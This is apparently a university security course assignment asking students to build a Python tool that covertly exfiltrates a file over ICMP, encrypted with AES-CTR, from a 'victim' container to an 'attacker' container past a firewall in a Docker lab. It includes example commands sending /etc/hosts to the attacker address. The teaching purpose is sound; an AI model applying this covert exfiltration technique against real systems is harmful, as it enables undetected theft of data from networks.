

Data Exfiltration using ICMP (40 points)

In this assignment, you will covertly exfiltrate a file from a host, avoiding detection. Consider the setup below:



In this setup, it is assumed that the victim is already compromised (e.g., via malware or physical access) and you have access to it. The challenge now is to exfiltrate a file from the victim machine to the attacker, as there is a strict firewall configuration, preventing most connections from passing through. However, it considers ICMP traffic as benign and allows it.

Environment

The provided environment contains three containers: the attacker host (192.168.124.10), the victim host (192.168.124.20), and the firewall. In this assignment, you need to access both the attacker and the victim. Set up the environment as such:

```
docker compose build
docker compose up -d
```

Both containers have a mount configured; files in the `solution` directory are mirrored in the containers under `/solution`. You can enter the containers by executing the commands below in different terminal windows.

```
docker exec -ti assignment_3_exfil_attacker bash
```

```
docker exec -ti assignment_3_exfil_victim bash
```

After finishing the assignment, make sure to clean up the environment using the command below.

```
docker compose down
```

Goal

Create a Python3 script to establish communication between the two hosts and transfer a file. It should have two modes (passed as a command-line argument), `send` and `receive`, which run on the victim and on the attacker side respectively.

Your message should not be easily readable on the wire; you must implement encryption using AES-CTR. You may use the provided `pycryptodome` library for this. A 16-byte hex-encoded key is provided as a command-line argument.

To be as stealthy as possible, avoid using ICMP's Echo protocol, as that may cause the message to be echoed back. You may not disable or reconfigure the firewall, or use external libraries or tools different from those installed on the provided containers.

Sending. The first mode, **send**, should accept three additional arguments: the key, the file to send, and the IP address of the receiver. It should read the file, encrypt it, transmit the data as ICMP payload, and exit.

```
root@victim:/solution# python3 icmp_exfiltration.py send \  
a0a1a2a3a4a5a6a7a8a9abcdefabcdef /etc/hosts 192.168.124.10
```

Receiving. The second mode, **receive**, should accept two additional arguments: the key and the destination filename. It should listen for ICMP packets, decrypt the received file, save it as the provided filename, and exit.

```
root@attacker:/solution# python3 icmp_exfiltration.py receive \  
a0a1a2a3a4a5a6a7a8a9abcdefabcdef ./received_file  
root@attacker:/solution# ls  
icmp_exfiltration.py received_file  
root@attacker:/solution# cat received_file  
127.0.0.1 localhost  
::1 localhost ip6-localhost ip6-loopback  
fe00:: ip6-localnet  
ff00:: ip6-mcastprefix  
ff02::1 ip6-allnodes  
ff02::2 ip6-allrouters  
192.168.124.20 victim
```

Submission Instructions

After completing the assignment and verifying that it works correctly, submit your Python script on WebLab.